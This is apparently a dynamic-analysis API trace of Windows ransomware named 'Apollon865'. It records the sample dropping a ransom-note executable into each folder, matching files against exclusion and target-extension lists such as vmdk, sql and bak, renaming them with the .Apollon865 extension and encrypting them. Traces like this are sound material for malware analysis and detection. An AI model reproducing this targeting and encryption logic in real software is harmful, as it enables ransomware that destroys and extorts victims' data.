	[0044.022] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x324efad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x324efad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.022] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.022] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.022] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.022] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.022] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x324efad0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x324efad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.022] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.022] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x324efad0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x324efad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0044.022] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0044.022] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bf0
	[0044.022] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME"
	[0044.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0044.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0044.022] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME") returned 92
	[0044.022] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME"
	[0044.022] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.022] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.035] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.035] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x324efad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x324efad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0044.035] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.035] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.035] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.035] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x324efad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x324efad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.036] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.036] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.036] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.036] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.036] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x324efad0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x324efad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.036] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.037] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 1
	[0044.037] lstrcmpiW (lpString1="www.google[1].xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.037] lstrcmpiW (lpString1="www.google[1].xml", lpString2="Apollon865.txt.exe") returned 1
	[0044.037] lstrcmpiW (lpString1="www.google[1].xml", lpString2=".") returned 1
	[0044.037] lstrcmpiW (lpString1="www.google[1].xml", lpString2="..") returned 1
	[0044.037] lstrcmpiW (lpString1="www.google[1].xml", lpString2="windows") returned 1
	[0044.037] lstrcmpiW (lpString1="www.google[1].xml", lpString2="bootmgr") returned 1
	[0044.037] lstrcmpiW (lpString1="www.google[1].xml", lpString2="temp") returned 1
	[0044.037] lstrcmpiW (lpString1="www.google[1].xml", lpString2="pagefile.sys") returned 1
	[0044.037] lstrcmpiW (lpString1="www.google[1].xml", lpString2="boot") returned 1
	[0044.037] lstrcmpiW (lpString1="www.google[1].xml", lpString2="ids.txt") returned 1
	[0044.037] lstrcmpiW (lpString1="www.google[1].xml", lpString2="ntuser.dat") returned 1
	[0044.037] lstrcmpiW (lpString1="www.google[1].xml", lpString2="perflogs") returned 1
	[0044.037] lstrcmpiW (lpString1="www.google[1].xml", lpString2="MSBuild") returned 1
	[0044.037] lstrlenW (lpString="www.google[1].xml") returned 17
	[0044.037] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*") returned 94
	[0044.037] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="www.google[1].xml" | out: lpString1="www.google[1].xml") returned="www.google[1].xml"
	[0044.038] lstrlenW (lpString="www.google[1].xml") returned 17
	[0044.038] lstrlenW (lpString="Apollon865") returned 10
	[0044.038] lstrcmpiW (lpString1="gle[1].xml", lpString2="Apollon865") returned 1
	[0044.038] lstrlenW (lpString=".dll") returned 4
	[0044.038] lstrcmpiW (lpString1="www.google[1].xml", lpString2=".dll") returned 1
	[0044.038] lstrlenW (lpString=".lnk") returned 4
	[0044.038] lstrcmpiW (lpString1="www.google[1].xml", lpString2=".lnk") returned 1
	[0044.038] lstrlenW (lpString=".ini") returned 4
	[0044.038] lstrcmpiW (lpString1="www.google[1].xml", lpString2=".ini") returned 1
	[0044.038] lstrlenW (lpString=".sys") returned 4
	[0044.038] lstrcmpiW (lpString1="www.google[1].xml", lpString2=".sys") returned 1
	[0044.038] lstrlenW (lpString="www.google[1].xml") returned 17
	[0044.039] lstrlenW (lpString="bak") returned 3
	[0044.039] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0044.039] lstrlenW (lpString="ba_") returned 3
	[0044.039] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0044.039] lstrlenW (lpString="dbb") returned 3
	[0044.040] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0044.040] lstrlenW (lpString="vmdk") returned 4
	[0044.040] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0044.040] lstrlenW (lpString="rar") returned 3
	[0044.040] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0044.040] lstrlenW (lpString="zip") returned 3
	[0044.040] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0044.040] lstrlenW (lpString="tgz") returned 3
	[0044.040] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0044.040] lstrlenW (lpString="vbox") returned 4
	[0044.040] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0044.040] lstrlenW (lpString="vdi") returned 3
	[0044.040] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0044.040] lstrlenW (lpString="vhd") returned 3
	[0044.040] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0044.040] lstrlenW (lpString="vhdx") returned 4
	[0044.040] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0044.040] lstrlenW (lpString="avhd") returned 4
	[0044.040] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0044.040] lstrlenW (lpString="db") returned 2
	[0044.040] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0044.040] lstrlenW (lpString="db2") returned 3
	[0044.040] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0044.040] lstrlenW (lpString="db3") returned 3
	[0044.040] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0044.040] lstrlenW (lpString="dbf") returned 3
	[0044.040] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0044.040] lstrlenW (lpString="mdf") returned 3
	[0044.040] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0044.040] lstrlenW (lpString="mdb") returned 3
	[0044.040] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0044.040] lstrlenW (lpString="sql") returned 3
	[0044.040] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0044.040] lstrlenW (lpString="sqlite") returned 6
	[0044.040] lstrcmpiW (lpString1="1].xml", lpString2="sqlite") returned -1
	[0044.041] lstrlenW (lpString="sqlite3") returned 7
	[0044.041] lstrcmpiW (lpString1="[1].xml", lpString2="sqlite3") returned -1
	[0044.041] lstrlenW (lpString="sqlitedb") returned 8
	[0044.041] lstrcmpiW (lpString1="e[1].xml", lpString2="sqlitedb") returned -1
	[0044.041] lstrlenW (lpString="xml") returned 3
	[0044.041] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0044.041] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.Apollon865") returned 121
	[0044.041] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml.apollon865"), dwFlags=0x1) returned 1
	[0044.042] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0044.042] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=13) returned 1
	[0044.042] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0044.042] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0044.042] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0044.042] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0044.043] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0044.043] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0044.043] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x310, lpName=0x0) returned 0x154
	[0044.046] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x310) returned 0x100000
	[0044.047] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0044.048] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0044.048] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0044.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0044.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0044.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0044.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0044.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0044.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0044.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0044.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0044.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0044.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0044.049] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0044.049] CloseHandle (hObject=0x154) returned 1
	[0044.049] CloseHandle (hObject=0x14c) returned 1
	[0044.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0044.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0044.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0044.050] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 0
	[0044.050] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0044.050] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0044.050] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T"
	[0044.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0044.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0044.050] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T") returned 92
	[0044.051] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T"
	[0044.051] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.051] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.055] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.055] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3253bd90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3253bd90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0044.055] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.055] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.055] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.055] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3253bd90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3253bd90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.055] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.055] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.055] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.055] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.055] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3253bd90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3253bd90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.055] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.055] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 1
	[0044.055] lstrcmpiW (lpString1="imagesrv.adition[1].xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.055] lstrcmpiW (lpString1="imagesrv.adition[1].xml", lpString2="Apollon865.txt.exe") returned 1
	[0044.056] lstrcmpiW (lpString1="imagesrv.adition[1].xml", lpString2=".") returned 1
	[0044.056] lstrcmpiW (lpString1="imagesrv.adition[1].xml", lpString2="..") returned 1
	[0044.056] lstrcmpiW (lpString1="imagesrv.adition[1].xml", lpString2="windows") returned -1
	[0044.056] lstrcmpiW (lpString1="imagesrv.adition[1].xml", lpString2="bootmgr") returned 1
	[0044.056] lstrcmpiW (lpString1="imagesrv.adition[1].xml", lpString2="temp") returned -1
	[0044.056] lstrcmpiW (lpString1="imagesrv.adition[1].xml", lpString2="pagefile.sys") returned -1
	[0044.056] lstrcmpiW (lpString1="imagesrv.adition[1].xml", lpString2="boot") returned 1
	[0044.056] lstrcmpiW (lpString1="imagesrv.adition[1].xml", lpString2="ids.txt") returned 1
	[0044.056] lstrcmpiW (lpString1="imagesrv.adition[1].xml", lpString2="ntuser.dat") returned -1
	[0044.056] lstrcmpiW (lpString1="imagesrv.adition[1].xml", lpString2="perflogs") returned -1
	[0044.056] lstrcmpiW (lpString1="imagesrv.adition[1].xml", lpString2="MSBuild") returned -1
	[0044.056] lstrlenW (lpString="imagesrv.adition[1].xml") returned 23
	[0044.056] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*") returned 94
	[0044.056] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="imagesrv.adition[1].xml" | out: lpString1="imagesrv.adition[1].xml") returned="imagesrv.adition[1].xml"
	[0044.056] lstrlenW (lpString="imagesrv.adition[1].xml") returned 23
	[0044.056] lstrlenW (lpString="Apollon865") returned 10
	[0044.056] lstrcmpiW (lpString1="ion[1].xml", lpString2="Apollon865") returned 1
	[0044.056] lstrlenW (lpString=".dll") returned 4
	[0044.056] lstrcmpiW (lpString1="imagesrv.adition[1].xml", lpString2=".dll") returned 1
	[0044.056] lstrlenW (lpString=".lnk") returned 4
	[0044.056] lstrcmpiW (lpString1="imagesrv.adition[1].xml", lpString2=".lnk") returned 1
	[0044.056] lstrlenW (lpString=".ini") returned 4
	[0044.056] lstrcmpiW (lpString1="imagesrv.adition[1].xml", lpString2=".ini") returned 1
	[0044.056] lstrlenW (lpString=".sys") returned 4
	[0044.056] lstrcmpiW (lpString1="imagesrv.adition[1].xml", lpString2=".sys") returned 1
	[0044.056] lstrlenW (lpString="imagesrv.adition[1].xml") returned 23
	[0044.056] lstrlenW (lpString="bak") returned 3
	[0044.056] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0044.056] lstrlenW (lpString="ba_") returned 3
	[0044.056] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0044.056] lstrlenW (lpString="dbb") returned 3
	[0044.056] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0044.056] lstrlenW (lpString="vmdk") returned 4
	[0044.056] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0044.056] lstrlenW (lpString="rar") returned 3
	[0044.057] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0044.057] lstrlenW (lpString="zip") returned 3
	[0044.057] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0044.057] lstrlenW (lpString="tgz") returned 3
	[0044.057] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0044.057] lstrlenW (lpString="vbox") returned 4
	[0044.057] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0044.057] lstrlenW (lpString="vdi") returned 3
	[0044.057] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0044.057] lstrlenW (lpString="vhd") returned 3
	[0044.057] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0044.057] lstrlenW (lpString="vhdx") returned 4
	[0044.057] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0044.057] lstrlenW (lpString="avhd") returned 4
